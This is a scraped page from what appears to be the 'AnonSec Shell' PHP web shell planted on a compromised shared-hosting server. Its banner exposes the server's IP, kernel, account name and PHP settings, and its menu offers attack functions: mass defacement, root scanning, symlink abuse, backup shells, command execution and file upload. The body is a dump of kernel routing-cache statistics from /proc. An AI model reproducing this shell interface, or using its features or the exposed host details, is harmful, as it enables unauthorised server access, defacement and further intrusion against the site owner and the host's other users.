. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 104.21.26.5  /  Your IP : 216.73.216.221   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux premium35.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : lasanffc ( 2331)
PHP Version : 8.0.30
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/thread-self/net/stat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/thread-self/net/stat/rt_cache
entries  in_hit in_slow_tot in_slow_mc in_no_route in_brd in_martian_dst in_martian_src  out_hit out_slow_tot out_slow_mc  gc_total gc_ignored gc_goal_miss gc_dst_overflow in_hlist_search out_hlist_search
000003e6  00000000 0000008f 00000000 00000025 00000000 00000000 00002817  00000000 0af1d88b 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000003e6  00000000 000000c2 00000000 00000034 00000000 00000000 00003068  00000000 0b46142f 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000003e6  00000000 00000074 00000000 0000000d 00000000 00000000 000033db  00000000 0b56db77 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000003e6  00000000 00000062 00000000 00000016 00000000 00000000 0000267b  00000000 0b5324e7 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000003e6  00000000 0000004b 00000000 0000002f 00000000 00000000 0000051e  00000000 0b49c6c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000003e6  00000000 0000001b 00000000 00000000 00000000 00000000 000003e0  00000000 0b386ec3 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000003e6  00000000 00000024 00000000 0000000a 00000000 00000000 00000722  00000000 0b379d86 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000003e6  00000000 00000022 00000000 00000002 00000000 00000000 000006eb  00000000 0b1c3216 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000003e6  00000000 00000087 00000000 00000017 00000000 00000000 00002684  00000000 0b2a7f3a 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000003e6  00000000 00000072 00000000 00000013 00000000 00000000 00002747  00000000 0b261a3e 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000003e6  00000000 000000c0 00000000 00000017 00000000 00000000 000028c0  00000000 0b1e5383 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000003e6  00000000 00000082 00000000 0000001e 00000000 00000000 0000279e  00000000 0b1497b9 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000003e6  00000000 00201d32 00000000 00201c7a 0000004b 00000000 00002802  00000000 0b05f400 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000003e6  00000000 00000061 00000000 00000005 00000000 00000000 0000277e  00000000 0b178e4b 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000003e6  00000000 00000068 00000000 00000014 00000000 00000000 0000264f  00000000 0a8d69bd 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000003e6  00000000 00000071 00000000 00000016 00000000 00000000 00002673  00000000 0af68c45 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000003e6  00000000 00000097 00000000 00000034 00000000 00000000 00002970  00000000 0af8cf04 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000003e6  00000000 000000b1 00000000 0000003c 00000000 00000000 0000272b  00000000 0aee7d13 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000003e6  00000000 00000076 00000000 00000012 00000000 00000000 00002721  00000000 0aee9286 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000003e6  00000000 00000076 00000000 0000000a 00000000 00000000 00002626  00000000 0aeda861 00000002 00000000 00000000 00000000 00000000 00000000 00000000 
000003e6  00000000 0000003e 00000000 0000001c 00000000 00000000 00000419  00000000 0ac99595 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000003e6  00000000 00000056 00000000 00000034 00000000 00000000 00000521  00000000 0ac3aad5 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000003e6  00000000 00000060 00000000 0000002e 00000000 00000000 00000439  00000000 0ac8e555 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000003e6  00000000 00000025 00000000 0000000b 00000000 00000000 0000068a  00000000 0abf17b3 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000003e6  00000000 00000013 00000000 00000003 00000000 00000000 0000066c  00000000 0acc1f17 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000003e6  00000000 00000026 00000000 00000005 00000000 00000000 0000075d  00000000 0ac6b3d7 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000003e6  00000000 0000001c 00000000 00000000 00000000 00000000 0000055a  00000000 0ab845e6 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000003e6  00000000 00000051 00000000 00000034 00000000 00000000 00000707  00000000 0ab74834 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000003e6  00000000 0000000f 00000000 00000002 00000000 00000000 000004c7  00000000 0aaa0406 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
000003e6  00000000 0000001a 00000000 00000002 00000000 00000000 0000051a  00000000 0a8d317d 00000000 00000000 00000000 00000000 00000000 00000000 00000000 

Anon7 - 2022
AnonSec Team